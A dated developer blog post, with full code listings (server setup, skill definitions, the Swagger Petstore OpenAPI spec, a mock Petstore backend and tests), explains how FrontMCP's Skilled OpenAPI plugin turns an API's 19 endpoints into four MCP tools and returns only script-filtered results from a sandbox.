# Your OpenAPI Spec Doesn't Need 19 MCP Tools. It Needs Four.

> We turned the Swagger Petstore into four MCP tools. The agent searches for a skill, writes a script, Enclave runs it, and only the mapped answer comes back.

Source: https://frontmcp.dev/blog/openapi-to-mcp-skills
Published: 2026-11-08
Author: David Antoon
Updated: 2026-11-09
Example version: FrontMCP 1.11.1
Technical checks recorded: 2026-11-08
Scope: Dated article; use the maintained reference for current instructions. Its presence in a release snapshot does not verify its code against that release.

*[Illustration: 19 endpoints, 4 tools, 313 bytes back. The agent sends run_workflow with a script to Skilled OpenAPI, which runs it in Enclave. The script calls findPetsByStatus and getInventory on the Petstore API, which has 19 operations, and gets 60 pets and the stock, 14.7 KB. The script filters and maps them, and the agent gets back 8 dogs and a count, 313 bytes.]*

The usual way to put a REST API behind MCP is one tool per endpoint. It's what FrontMCP's own OpenAPI adapter does, and it works well while the API is small. We gave the adapter the [Swagger Petstore's OpenAPI description](https://petstore3.swagger.io/api/v3/openapi.json), unchanged. Its 19 operations became 19 tools: 28,058 bytes of tool definitions, sent to the model before it has done anything. Then we asked which friendly dogs are available. The answer was every available pet, 60 full records with their photos and tags: 14,744 bytes for the model to read and filter.

[Skilled OpenAPI](https://frontmcp.dev/reference/plugins/skilled-openapi) is a FrontMCP plugin that serves the same spec as four tools. It groups the operations into **skills**. The model **searches** for the skill a question needs, writes a short **script** that calls its operations, and [Enclave](https://github.com/agentfront/enclave) runs the script on the server. The script returns only what the question needs: eight dogs and a count, 313 bytes. The server on this page compiles the Petstore spec in your browser, and its tests check every number in this post.

<a id="one-tool-per-endpoint-measured"></a>

## One tool per endpoint, measured

FrontMCP's [OpenAPI adapter](https://frontmcp.dev/reference/adapters/openapi) turns each operation into a tool, with the operation's parameters as the tool's input schema. On the Petstore, that's `addPet`, `findPetsByStatus`, `getInventory`, `loginUser` and 15 more. Three costs grow with the API:

- **The catalog.** Every tool's name, description and schemas are in `tools/list`: 28,058 bytes for the Petstore's 19 operations, about 1.5 KB each, in every conversation, used or not. An API with hundreds of operations puts hundreds of tools in front of the model.
- **The answers.** A tool returns what its endpoint returns. `findPetsByStatus` sends every pet with that status, and the model does the filtering in its context.
- **The round trips.** A question that needs three calls takes three turns, and each answer passes through the model on the way to the next call. [An example below](https://frontmcp.dev/blog/openapi-to-mcp-skills#when-the-api-wasnt-built-for-the-question) needs two rounds.

The adapter can trim a tool's output with [`dataTransforms`](https://frontmcp.dev/reference/adapters/openapi), but you choose that trim when you write the server, not when a user asks a question.

<a id="skills-search-and-a-script-in-a-sandbox"></a>

## Skills, search and a script in a sandbox

Skilled OpenAPI changes what the model gets from an API in four ways:

1. **Skills, not endpoints.** A bundle groups the API's operations into skills. Each skill has instructions written for the model: what its operations return, in what order to call them, what to check first.
2. **Search, not a list of every endpoint.** The model sees `search_skill`, `load_skill`, `execute_action` and `run_workflow`, however many operations the API has. It finds the skill for the question with `search_skill`, and reads its instructions and operations with `load_skill`.
3. **A script, not round trips.** The model writes a short script that calls the operations with `await callTool(actionId, input)`. One `run_workflow` call runs the whole script on the server. For a question that needs one operation, `execute_action` runs it without a script.
4. **Only what matters comes back.** The script filters and maps the responses and returns the result. The raw responses never leave the server.

It's the [code-execution pattern for MCP](https://www.anthropic.com/research/code-execution-with-mcp), applied to a REST API through its OpenAPI description.

*[Illustration: A question to the Petstore through Skilled OpenAPI. The model calls search_skill with the query friendly dogs available and gets back Pet catalog, with a score of 0.46. It calls load_skill for pet-catalog and gets the skill's instructions and its three actions, 4.4 KB. It sends run_workflow with a script. Enclave checks the script as AgentScript and runs it. The script calls findPetsByStatus, and the plugin checks the caller's authorities, checks the input against the operation's schema and adds the API key. The Petstore API answers with 60 pets. The script calls getInventory and gets the stock counts. The model gets back eight dogs and a count, 313 bytes.]*

The script is AgentScript, a subset of JavaScript, and it runs in Enclave, AgentFront's sandbox for code that agents write. `@enclave-vm/ast` checks the script and rewrites it, and `@enclave-vm/core` interprets it one step at a time, without Node's `vm`. Each `callTool` goes through the plugin. It checks the caller against the skill's rules and the input against the operation's schema, then adds the API's credentials and checks the request before it leaves the server.

<a id="the-whole-server-from-the-petstore-spec"></a>

## The whole server, from the Petstore spec

`main.ts` takes the Petstore's OpenAPI description, unchanged in `petstore-spec.ts`, and [`compileSkilledBundleFromOpenApi()`](https://frontmcp.dev/reference/plugins/skilled-openapi#building-a-bundle-from-an-openapi-spec) builds a bundle from it and the five skills in `skills.ts`. The three skills that change things, Orders, Pet records and Accounts, require a `staff` role. The Playground can't reach the real Petstore, so `petstore.example.ts` plays a hypothetical shop with 76 pets, 60 of them available.

The **Call** tab sends the script an agent would write for "Which friendly dogs are available, and how many pets do we have in stock?" Open the **Tests** tab: the tests check what this post says, every number included, in Node and in your browser.

Initial call configuration:

```js
{ tool: "run_workflow", arguments: { script: [
'const pets = await callTool("findPetsByStatus", { status: "available" });',
'const friendlyDogs = pets',
'  .filter((pet) => pet.category.name === "Dogs" && pet.tags.some((tag) => tag.name === "friendly"))',
'  .map((pet) => ({ id: pet.id, name: pet.name }));',
'const stock = await callTool("getInventory", {});',
'return { friendlyDogs, available: stock.available };',
].join("\n") } }
```

```ts main.ts active
import "./petstore.example";
import { FrontMcp } from "@frontmcp/sdk";
import { SkilledOpenApiPlugin } from "@frontmcp/plugin-skilled-openapi";
import { compileSkilledBundleFromOpenApi } from "@frontmcp/adapters/skills";
import { spec } from "./petstore-spec";
import { skills, staffOnly } from "./skills";

const compiled = await compileSkilledBundleFromOpenApi(spec, skills, {
  bundleId: "petstore",
  version: spec.info.version,
  baseUrl: "https://203.0.113.10/api/v3",
  authBinding: { kind: "apiKey", in: "header", name: "api_key", vaultRef: "petstore-key" },
});

export const bundle = {
  ...compiled,
  skills: compiled.skills.map((skill) => (staffOnly.includes(skill.id) ? { ...skill, requiredAuthorities: { roles: { any: ["staff"] } } } : skill)),
};

@FrontMcp({
  info: { name: "petstore", version: "1.0.0" },
  apps: [],
  plugins: [
    SkilledOpenApiPlugin.init({
      source: { type: "inline", content: bundle },
      requireSignature: false,
      credentials: { "petstore-key": "petstore-api-key" },
    }),
  ],
})
export default class Server {}
```

```ts skills.ts
export const skills = [
  {
    id: "pet-catalog",
    name: "Pet catalog",
    description: "Find available, pending or sold pets, like dogs, cats and birds, by status or by tag, like friendly or vaccinated, and read one pet.",
    instructions: [
      "# Pet catalog",
      "",
      "Answer questions about the pets in the shop.",
      "",
      "- `findPetsByStatus` returns every pet with a status (`available`, `pending` or `sold`), with its photos and tags.",
      "  Filter and map the pets in the script, and return only what the user asked for, like `{ id, name }`.",
      "- `findPetsByTags` takes tag names. `getPetById` reads one pet by its numeric id.",
      '- A pet\'s `category` is `{ id, name }`, like `{ "name": "Dogs" }`, and its `tags` are `[{ id, name }]`.',
    ].join("\n"),
    operationIds: ["findPetsByStatus", "findPetsByTags", "getPetById"],
  },
  {
    id: "store",
    name: "Store",
    description: "Count the pets in stock, and read an order.",
    instructions: "# Store\n\n`getInventory` counts the pets with each status: `{ available, pending, sold }`. `getOrderById` reads one order.",
    operationIds: ["getInventory", "getOrderById"],
  },
  {
    id: "orders",
    name: "Orders",
    description: "Place and cancel orders for customers.",
    instructions: "# Orders\n\nConfirm the pet and the quantity with the customer before `placeOrder`, and the order id before `deleteOrder`.",
    operationIds: ["placeOrder", "deleteOrder"],
  },
  {
    id: "pet-records",
    name: "Pet records",
    description: "Add, change and remove pets, and upload their photos.",
    instructions: "# Pet records\n\nRead the pet with `getPetById` before you change or remove it.",
    operationIds: ["addPet", "updatePet", "updatePetWithForm", "deletePet", "uploadFile"],
  },
  {
    id: "accounts",
    name: "Accounts",
    description: "Create, read, change and remove customer accounts.",
    instructions: "# Accounts\n\nNever return a password. Read an account with `getUserByName` before you change it.",
    operationIds: ["createUser", "createUsersWithListInput", "loginUser", "logoutUser", "getUserByName", "updateUser", "deleteUser"],
  },
];

export const staffOnly = ["orders", "pet-records", "accounts"];
```

```ts petstore-spec.ts
// The Swagger Petstore's OpenAPI description, unchanged: https://petstore3.swagger.io/api/v3/openapi.json (Apache 2.0)
export const spec = {
  "openapi": "3.0.4",
  "info": {
    "title": "Swagger Petstore - OpenAPI 3.0",
    "description": "This is a sample Pet Store Server based on the OpenAPI 3.0 specification.  You can find out more about\nSwagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach!\nYou can now help us improve the API whether it's by making changes to the definition itself or to the code.\nThat way, with time, we can improve the API in general, and expose some of the new features in OAS3.\n\nSome useful links:\n- [The Pet Store repository](https://github.com/swagger-api/swagger-petstore)\n- [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml)",
    "termsOfService": "https://swagger.io/terms/",
    "contact": {"email": "apiteam@swagger.io"},
    "license": {"name": "Apache 2.0", "url": "https://www.apache.org/licenses/LICENSE-2.0.html"},
    "version": "1.0.27",
  },
  "externalDocs": {"description": "Find out more about Swagger", "url": "https://swagger.io"},
  "servers": [{"url": "/api/v3"}],
  "tags": [
    {
      "name": "pet",
      "description": "Everything about your Pets",
      "externalDocs": {"description": "Find out more", "url": "https://swagger.io"},
    },
    {
      "name": "store",
      "description": "Access to Petstore orders",
      "externalDocs": {"description": "Find out more about our store", "url": "https://swagger.io"},
    },
    {"name": "user", "description": "Operations about user"},
  ],
  "paths": {
    "/pet": {
      "put": {
        "tags": ["pet"],
        "summary": "Update an existing pet.",
        "description": "Update an existing pet by Id.",
        "operationId": "updatePet",
        "requestBody": {
          "description": "Update an existent pet in the store",
          "content": {
            "application/json": {"schema": {"$ref": "#/components/schemas/Pet"}},
            "application/xml": {"schema": {"$ref": "#/components/schemas/Pet"}},
            "application/x-www-form-urlencoded": {"schema": {"$ref": "#/components/schemas/Pet"}},
          },
          "required": true,
        },
        "responses": {
          "200": {
            "description": "Successful operation",
            "content": {
              "application/json": {"schema": {"$ref": "#/components/schemas/Pet"}},
              "application/xml": {"schema": {"$ref": "#/components/schemas/Pet"}},
            },
          },
          "400": {"description": "Invalid ID supplied"},
          "404": {"description": "Pet not found"},
          "422": {"description": "Validation exception"},
          "default": {"description": "Unexpected error"},
        },
        "security": [{"petstore_auth": ["write:pets", "read:pets"]}],
      },
      "post": {
        "tags": ["pet"],
        "summary": "Add a new pet to the store.",
        "description": "Add a new pet to the store.",
        "operationId": "addPet",
        "requestBody": {
          "description": "Create a new pet in the store",
          "content": {
            "application/json": {"schema": {"$ref": "#/components/schemas/Pet"}},
            "application/xml": {"schema": {"$ref": "#/components/schemas/Pet"}},
            "application/x-www-form-urlencoded": {"schema": {"$ref": "#/components/schemas/Pet"}},
          },
          "required": true,
        },
        "responses": {
          "200": {
            "description": "Successful operation",
            "content": {
              "application/json": {"schema": {"$ref": "#/components/schemas/Pet"}},
              "application/xml": {"schema": {"$ref": "#/components/schemas/Pet"}},
            },
          },
          "400": {"description": "Invalid input"},
          "422": {"description": "Validation exception"},
          "default": {"description": "Unexpected error"},
        },
        "security": [{"petstore_auth": ["write:pets", "read:pets"]}],
      },
    },
    "/pet/findByStatus": {
      "get": {
        "tags": ["pet"],
        "summary": "Finds Pets by status.",
        "description": "Multiple status values can be provided with comma separated strings.",
        "operationId": "findPetsByStatus",
        "parameters": [
          {
            "name": "status",
            "in": "query",
            "description": "Status values that need to be considered for filter",
            "required": true,
            "explode": true,
            "schema": {"type": "string", "default": "available", "enum": ["available", "pending", "sold"]},
          },
        ],
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {
              "application/json": {"schema": {"type": "array", "items": {"$ref": "#/components/schemas/Pet"}}},
              "application/xml": {"schema": {"type": "array", "items": {"$ref": "#/components/schemas/Pet"}}},
            },
          },
          "400": {"description": "Invalid status value"},
          "default": {"description": "Unexpected error"},
        },
        "security": [{"petstore_auth": ["write:pets", "read:pets"]}],
      },
    },
    "/pet/findByTags": {
      "get": {
        "tags": ["pet"],
        "summary": "Finds Pets by tags.",
        "description": "Multiple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.",
        "operationId": "findPetsByTags",
        "parameters": [
          {
            "name": "tags",
            "in": "query",
            "description": "Tags to filter by",
            "required": true,
            "explode": true,
            "schema": {"type": "array", "items": {"type": "string"}},
          },
        ],
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {
              "application/json": {"schema": {"type": "array", "items": {"$ref": "#/components/schemas/Pet"}}},
              "application/xml": {"schema": {"type": "array", "items": {"$ref": "#/components/schemas/Pet"}}},
            },
          },
          "400": {"description": "Invalid tag value"},
          "default": {"description": "Unexpected error"},
        },
        "security": [{"petstore_auth": ["write:pets", "read:pets"]}],
      },
    },
    "/pet/{petId}": {
      "get": {
        "tags": ["pet"],
        "summary": "Find pet by ID.",
        "description": "Returns a single pet.",
        "operationId": "getPetById",
        "parameters": [
          {
            "name": "petId",
            "in": "path",
            "description": "ID of pet to return",
            "required": true,
            "schema": {"type": "integer", "format": "int64"},
          },
        ],
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {
              "application/json": {"schema": {"$ref": "#/components/schemas/Pet"}},
              "application/xml": {"schema": {"$ref": "#/components/schemas/Pet"}},
            },
          },
          "400": {"description": "Invalid ID supplied"},
          "404": {"description": "Pet not found"},
          "default": {"description": "Unexpected error"},
        },
        "security": [{"api_key": []}, {"petstore_auth": ["write:pets", "read:pets"]}],
      },
      "post": {
        "tags": ["pet"],
        "summary": "Updates a pet in the store with form data.",
        "description": "Updates a pet resource based on the form data.",
        "operationId": "updatePetWithForm",
        "parameters": [
          {
            "name": "petId",
            "in": "path",
            "description": "ID of pet that needs to be updated",
            "required": true,
            "schema": {"type": "integer", "format": "int64"},
          },
          {
            "name": "name",
            "in": "query",
            "description": "Name of pet that needs to be updated",
            "schema": {"type": "string"},
          },
          {
            "name": "status",
            "in": "query",
            "description": "Status of pet that needs to be updated",
            "schema": {"type": "string"},
          },
        ],
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {
              "application/json": {"schema": {"$ref": "#/components/schemas/Pet"}},
              "application/xml": {"schema": {"$ref": "#/components/schemas/Pet"}},
            },
          },
          "400": {"description": "Invalid input"},
          "default": {"description": "Unexpected error"},
        },
        "security": [{"petstore_auth": ["write:pets", "read:pets"]}],
      },
      "delete": {
        "tags": ["pet"],
        "summary": "Deletes a pet.",
        "description": "Delete a pet.",
        "operationId": "deletePet",
        "parameters": [
          {"name": "api_key", "in": "header", "description": "", "required": false, "schema": {"type": "string"}},
          {
            "name": "petId",
            "in": "path",
            "description": "Pet id to delete",
            "required": true,
            "schema": {"type": "integer", "format": "int64"},
          },
        ],
        "responses": {
          "200": {"description": "Pet deleted"},
          "400": {"description": "Invalid pet value"},
          "default": {"description": "Unexpected error"},
        },
        "security": [{"petstore_auth": ["write:pets", "read:pets"]}],
      },
    },
    "/pet/{petId}/uploadImage": {
      "post": {
        "tags": ["pet"],
        "summary": "Uploads an image.",
        "description": "Upload image of the pet.",
        "operationId": "uploadFile",
        "parameters": [
          {
            "name": "petId",
            "in": "path",
            "description": "ID of pet to update",
            "required": true,
            "schema": {"type": "integer", "format": "int64"},
          },
          {
            "name": "additionalMetadata",
            "in": "query",
            "description": "Additional Metadata",
            "required": false,
            "schema": {"type": "string"},
          },
        ],
        "requestBody": {"content": {"application/octet-stream": {"schema": {"type": "string", "format": "binary"}}}},
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {"application/json": {"schema": {"$ref": "#/components/schemas/ApiResponse"}}},
          },
          "400": {"description": "No file uploaded"},
          "404": {"description": "Pet not found"},
          "default": {"description": "Unexpected error"},
        },
        "security": [{"petstore_auth": ["write:pets", "read:pets"]}],
      },
    },
    "/store/inventory": {
      "get": {
        "tags": ["store"],
        "summary": "Returns pet inventories by status.",
        "description": "Returns a map of status codes to quantities.",
        "operationId": "getInventory",
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {
              "application/json": {"schema": {"type": "object", "additionalProperties": {"type": "integer", "format": "int32"}}},
            },
          },
          "default": {"description": "Unexpected error"},
        },
        "security": [{"api_key": []}],
      },
    },
    "/store/order": {
      "post": {
        "tags": ["store"],
        "summary": "Place an order for a pet.",
        "description": "Place a new order in the store.",
        "operationId": "placeOrder",
        "requestBody": {
          "content": {
            "application/json": {"schema": {"$ref": "#/components/schemas/Order"}},
            "application/xml": {"schema": {"$ref": "#/components/schemas/Order"}},
            "application/x-www-form-urlencoded": {"schema": {"$ref": "#/components/schemas/Order"}},
          },
        },
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {"application/json": {"schema": {"$ref": "#/components/schemas/Order"}}},
          },
          "400": {"description": "Invalid input"},
          "422": {"description": "Validation exception"},
          "default": {"description": "Unexpected error"},
        },
      },
    },
    "/store/order/{orderId}": {
      "get": {
        "tags": ["store"],
        "summary": "Find purchase order by ID.",
        "description": "For valid response try integer IDs with value <= 5 or > 10. Other values will generate exceptions.",
        "operationId": "getOrderById",
        "parameters": [
          {
            "name": "orderId",
            "in": "path",
            "description": "ID of order that needs to be fetched",
            "required": true,
            "schema": {"type": "integer", "format": "int64"},
          },
        ],
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {
              "application/json": {"schema": {"$ref": "#/components/schemas/Order"}},
              "application/xml": {"schema": {"$ref": "#/components/schemas/Order"}},
            },
          },
          "400": {"description": "Invalid ID supplied"},
          "404": {"description": "Order not found"},
          "default": {"description": "Unexpected error"},
        },
      },
      "delete": {
        "tags": ["store"],
        "summary": "Delete purchase order by identifier.",
        "description": "For valid response try integer IDs with value < 1000. Anything above 1000 or non-integers will generate API errors.",
        "operationId": "deleteOrder",
        "parameters": [
          {
            "name": "orderId",
            "in": "path",
            "description": "ID of the order that needs to be deleted",
            "required": true,
            "schema": {"type": "integer", "format": "int64"},
          },
        ],
        "responses": {
          "200": {"description": "order deleted"},
          "400": {"description": "Invalid ID supplied"},
          "404": {"description": "Order not found"},
          "default": {"description": "Unexpected error"},
        },
      },
    },
    "/user": {
      "post": {
        "tags": ["user"],
        "summary": "Create user.",
        "description": "This can only be done by the logged in user.",
        "operationId": "createUser",
        "requestBody": {
          "description": "Created user object",
          "content": {
            "application/json": {"schema": {"$ref": "#/components/schemas/User"}},
            "application/xml": {"schema": {"$ref": "#/components/schemas/User"}},
            "application/x-www-form-urlencoded": {"schema": {"$ref": "#/components/schemas/User"}},
          },
        },
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {
              "application/json": {"schema": {"$ref": "#/components/schemas/User"}},
              "application/xml": {"schema": {"$ref": "#/components/schemas/User"}},
            },
          },
          "default": {"description": "Unexpected error"},
        },
      },
    },
    "/user/createWithList": {
      "post": {
        "tags": ["user"],
        "summary": "Creates list of users with given input array.",
        "description": "Creates list of users with given input array.",
        "operationId": "createUsersWithListInput",
        "requestBody": {
          "content": {"application/json": {"schema": {"type": "array", "items": {"$ref": "#/components/schemas/User"}}}},
        },
        "responses": {
          "200": {
            "description": "Successful operation",
            "content": {
              "application/json": {"schema": {"$ref": "#/components/schemas/User"}},
              "application/xml": {"schema": {"$ref": "#/components/schemas/User"}},
            },
          },
          "default": {"description": "Unexpected error"},
        },
      },
    },
    "/user/login": {
      "get": {
        "tags": ["user"],
        "summary": "Logs user into the system.",
        "description": "Log into the system.",
        "operationId": "loginUser",
        "parameters": [
          {
            "name": "username",
            "in": "query",
            "description": "The user name for login",
            "required": false,
            "schema": {"type": "string"},
          },
          {
            "name": "password",
            "in": "query",
            "description": "The password for login in clear text",
            "required": false,
            "schema": {"type": "string"},
          },
        ],
        "responses": {
          "200": {
            "description": "successful operation",
            "headers": {
              "X-Rate-Limit": {
                "description": "calls per hour allowed by the user",
                "schema": {"type": "integer", "format": "int32"},
              },
              "X-Expires-After": {"description": "date in UTC when token expires", "schema": {"type": "string", "format": "date-time"}},
            },
            "content": {"application/xml": {"schema": {"type": "string"}}, "application/json": {"schema": {"type": "string"}}},
          },
          "400": {"description": "Invalid username/password supplied"},
          "default": {"description": "Unexpected error"},
        },
      },
    },
    "/user/logout": {
      "get": {
        "tags": ["user"],
        "summary": "Logs out current logged in user session.",
        "description": "Log user out of the system.",
        "operationId": "logoutUser",
        "parameters": [],
        "responses": {"200": {"description": "successful operation"}, "default": {"description": "Unexpected error"}},
      },
    },
    "/user/{username}": {
      "get": {
        "tags": ["user"],
        "summary": "Get user by user name.",
        "description": "Get user detail based on username.",
        "operationId": "getUserByName",
        "parameters": [
          {
            "name": "username",
            "in": "path",
            "description": "The name that needs to be fetched. Use user1 for testing",
            "required": true,
            "schema": {"type": "string"},
          },
        ],
        "responses": {
          "200": {
            "description": "successful operation",
            "content": {
              "application/json": {"schema": {"$ref": "#/components/schemas/User"}},
              "application/xml": {"schema": {"$ref": "#/components/schemas/User"}},
            },
          },
          "400": {"description": "Invalid username supplied"},
          "404": {"description": "User not found"},
          "default": {"description": "Unexpected error"},
        },
      },
      "put": {
        "tags": ["user"],
        "summary": "Update user resource.",
        "description": "This can only be done by the logged in user.",
        "operationId": "updateUser",
        "parameters": [
          {
            "name": "username",
            "in": "path",
            "description": "name that need to be deleted",
            "required": true,
            "schema": {"type": "string"},
          },
        ],
        "requestBody": {
          "description": "Update an existent user in the store",
          "content": {
            "application/json": {"schema": {"$ref": "#/components/schemas/User"}},
            "application/xml": {"schema": {"$ref": "#/components/schemas/User"}},
            "application/x-www-form-urlencoded": {"schema": {"$ref": "#/components/schemas/User"}},
          },
        },
        "responses": {
          "200": {"description": "successful operation"},
          "400": {"description": "bad request"},
          "404": {"description": "user not found"},
          "default": {"description": "Unexpected error"},
        },
      },
      "delete": {
        "tags": ["user"],
        "summary": "Delete user resource.",
        "description": "This can only be done by the logged in user.",
        "operationId": "deleteUser",
        "parameters": [
          {
            "name": "username",
            "in": "path",
            "description": "The name that needs to be deleted",
            "required": true,
            "schema": {"type": "string"},
          },
        ],
        "responses": {
          "200": {"description": "User deleted"},
          "400": {"description": "Invalid username supplied"},
          "404": {"description": "User not found"},
          "default": {"description": "Unexpected error"},
        },
      },
    },
  },
  "components": {
    "schemas": {
      "Order": {
        "type": "object",
        "properties": {
          "id": {"type": "integer", "format": "int64", "example": 10},
          "petId": {"type": "integer", "format": "int64", "example": 198772},
          "quantity": {"type": "integer", "format": "int32", "example": 7},
          "shipDate": {"type": "string", "format": "date-time"},
          "status": {
            "type": "string",
            "description": "Order Status",
            "example": "approved",
            "enum": ["placed", "approved", "delivered"],
          },
          "complete": {"type": "boolean"},
        },
        "xml": {"name": "order"},
      },
      "Category": {
        "type": "object",
        "properties": {"id": {"type": "integer", "format": "int64", "example": 1}, "name": {"type": "string", "example": "Dogs"}},
        "xml": {"name": "category"},
      },
      "User": {
        "type": "object",
        "properties": {
          "id": {"type": "integer", "format": "int64", "example": 10},
          "username": {"type": "string", "example": "theUser"},
          "firstName": {"type": "string", "example": "John"},
          "lastName": {"type": "string", "example": "James"},
          "email": {"type": "string", "example": "john@email.com"},
          "password": {"type": "string", "example": "12345"},
          "phone": {"type": "string", "example": "12345"},
          "userStatus": {"type": "integer", "description": "User Status", "format": "int32", "example": 1},
        },
        "xml": {"name": "user"},
      },
      "Tag": {
        "type": "object",
        "properties": {"id": {"type": "integer", "format": "int64"}, "name": {"type": "string"}},
        "xml": {"name": "tag"},
      },
      "Pet": {
        "required": ["name", "photoUrls"],
        "type": "object",
        "properties": {
          "id": {"type": "integer", "format": "int64", "example": 10},
          "name": {"type": "string", "example": "doggie"},
          "category": {"$ref": "#/components/schemas/Category"},
          "photoUrls": {"type": "array", "xml": {"wrapped": true}, "items": {"type": "string", "xml": {"name": "photoUrl"}}},
          "tags": {"type": "array", "xml": {"wrapped": true}, "items": {"$ref": "#/components/schemas/Tag"}},
          "status": {"type": "string", "description": "pet status in the store", "enum": ["available", "pending", "sold"]},
        },
        "xml": {"name": "pet"},
      },
      "ApiResponse": {
        "type": "object",
        "properties": {"code": {"type": "integer", "format": "int32"}, "type": {"type": "string"}, "message": {"type": "string"}},
        "xml": {"name": "##default"},
      },
    },
    "requestBodies": {
      "Pet": {
        "description": "Pet object that needs to be added to the store",
        "content": {
          "application/json": {"schema": {"$ref": "#/components/schemas/Pet"}},
          "application/xml": {"schema": {"$ref": "#/components/schemas/Pet"}},
        },
      },
      "UserArray": {
        "description": "List of user object",
        "content": {"application/json": {"schema": {"type": "array", "items": {"$ref": "#/components/schemas/User"}}}},
      },
    },
    "securitySchemes": {
      "petstore_auth": {
        "type": "oauth2",
        "flows": {
          "implicit": {
            "authorizationUrl": "https://petstore3.swagger.io/oauth/authorize",
            "scopes": {"write:pets": "modify pets in your account", "read:pets": "read your pets"},
          },
        },
      },
      "api_key": {"type": "apiKey", "name": "api_key", "in": "header"},
    },
  },
};
```

```ts petstore.example.ts
// Plays a hypothetical pet shop on the Petstore API at https://203.0.113.10/api/v3, which the Playground can't reach.
// It answers in-process and records each request, so the tests can check what the API received.
export const received: { method: string; url: string; apiKey: string | null }[] = [];

const names = ["Rex", "Luna", "Milo", "Bella", "Charlie", "Daisy", "Max", "Coco", "Rocky", "Nala", "Buddy", "Zoe"];
const categories = [{ id: 1, name: "Dogs" }, { id: 2, name: "Cats" }, { id: 3, name: "Birds" }];
const tags = ["friendly", "house-trained", "vaccinated", "young", "senior"];
const statuses = ["available", "pending", "sold"];

export const pets = Array.from({ length: 76 }, (_, index) => ({
  id: index + 1,
  name: `${names[index % names.length]} ${Math.floor(index / names.length) + 1}`,
  category: categories[index % categories.length],
  photoUrls: [`https://images.example/pets/${index + 1}/front.jpg`, `https://images.example/pets/${index + 1}/side.jpg`],
  tags: [{ id: index % 5, name: tags[index % 5] }, { id: (index + 2) % 5, name: tags[(index + 2) % 5] }],
  status: index < 60 ? statuses[0] : index < 64 ? statuses[1] : statuses[2],
}));

async function petstore(request: Request): Promise<Response> {
  received.push({ method: request.method, url: request.url, apiKey: request.headers.get("api_key") });
  const url = new URL(request.url);
  if (url.pathname === "/api/v3/pet/findByStatus") return Response.json(pets.filter((pet) => pet.status === url.searchParams.get("status")));
  if (url.pathname === "/api/v3/store/inventory") {
    return Response.json(Object.fromEntries(statuses.map((status) => [status, pets.filter((pet) => pet.status === status).length])));
  }
  const pet = pets.find((candidate) => url.pathname === `/api/v3/pet/${candidate.id}`);
  return pet ? Response.json(pet) : Response.json({ code: 404, message: "Pet not found" }, { status: 404 });
}

const realFetch: typeof fetch = ((globalThis as any).__realFetch ??= globalThis.fetch);
globalThis.fetch = (input, init) => {
  const url = new URL(input instanceof Request ? input.url : String(input));
  return url.hostname === "203.0.113.10" ? petstore(new Request(input, init)) : realFetch(input, init);
};
```

```ts petstore.test.ts
import { test, expect } from "@frontmcp/testing";
import { App, FrontMcpInstance } from "@frontmcp/sdk";
import { OpenapiAdapter } from "@frontmcp/adapters";
import { SkilledOpenApiPlugin } from "@frontmcp/plugin-skilled-openapi";
import { bundle } from "./main";
import { spec } from "./petstore-spec";
import { received } from "./petstore.example";

const bytes = (text: string) => new TextEncoder().encode(text).length;
const textOf = (result: any) => (result.raw ?? result).content[0].text as string;
const run = async (mcp: any, script: string) => {
  const result = await mcp.tools.call("run_workflow", { script });
  return { ...result.json(), isError: result.raw.isError === true };
};

const friendlyDogs = `const pets = await callTool("findPetsByStatus", { status: "available" });
const friendlyDogs = pets
  .filter((pet) => pet.category.name === "Dogs" && pet.tags.some((tag) => tag.name === "friendly"))
  .map((pet) => ({ id: pet.id, name: pet.name }));
const stock = await callTool("getInventory", {});
return { friendlyDogs, available: stock.available };`;

test("19 operations, four tools", async ({ mcp }) => {
  expect(Object.keys(bundle.operations)).toHaveLength(19);
  const tools = await mcp.tools.list();
  expect(tools.map((tool: { name: string }) => tool.name).sort()).toEqual(["execute_action", "load_skill", "run_workflow", "search_skill"]);
  expect(bytes(JSON.stringify(tools))).toBe(9066);
});

test("the descriptions tell the model to find a skill, load it, then run its actions", async ({ mcp }) => {
  const tools = await mcp.tools.list();
  const descriptionOf = (name: string) => tools.find((tool: { name: string }) => tool.name === name).description as string;
  expect(descriptionOf("search_skill")).toContain("call `load_skill` with that name directly: no\nsearch is needed");
  expect(descriptionOf("search_skill")).toContain("query: short natural-language description of what you want to do");
  expect(descriptionOf("load_skill")).toContain("Load each skill once per conversation");
  expect(descriptionOf("execute_action")).toContain("Run one action from `load_skill` directly, with no script.");
  expect(descriptionOf("run_workflow")).toContain("Run an AgentScript program in a sandbox to chain several actions from `load_skill` in one call");
  expect(descriptionOf("run_workflow")).toContain("Only `Math` and `JSON` are available.");
});

test("an anonymous caller sees only the two skills that read", async ({ mcp }) => {
  const search = (await mcp.tools.list()).find((tool: { name: string }) => tool.name === "search_skill");
  const catalog = search.description.split("\n").filter((line: string) => line.startsWith("- **"));
  expect(catalog).toEqual([
    "- **Pet catalog**: Find available, pending or sold pets, like dogs, cats and birds, by status or by tag, like friendly or vaccinated, and read one pet.",
    "- **Store**: Count the pets in stock, and read an order.",
  ]);
  expect(await mcp.tools.call("load_skill", { skillId: "accounts" })).toBeError("SKILL_NOT_FOUND");
});

test("the skills are MCP resources too", async ({ mcp }) => {
  await mcp.tools.list();
  const { result } = (await mcp.raw.request({ jsonrpc: "2.0", id: 1, method: "server/discover" })) as any;
  expect(result.instructions).toBe("This server has 2 skills: load one by name with `load_skill`, or find one with `search_skill`; then run an action with `execute_action`, or chain several with `run_workflow`.");
  const index = JSON.parse((await mcp.resources.read("skill://index.json")).text());
  expect(index.skills.filter((entry: { type: string }) => entry.type === "skill-md").map((entry: { name: string }) => entry.name)).toEqual(["Pet catalog", "Store"]);
  const skillMd = (await mcp.resources.read("skill://Pet%20catalog/SKILL.md")).text();
  expect(skillMd).toMatch(/^---\nname: Pet catalog\n/);
  expect(skillMd).toContain("return only what the user asked for");
  expect(skillMd).toContain("## Actions\n\nRun one with `execute_action`");
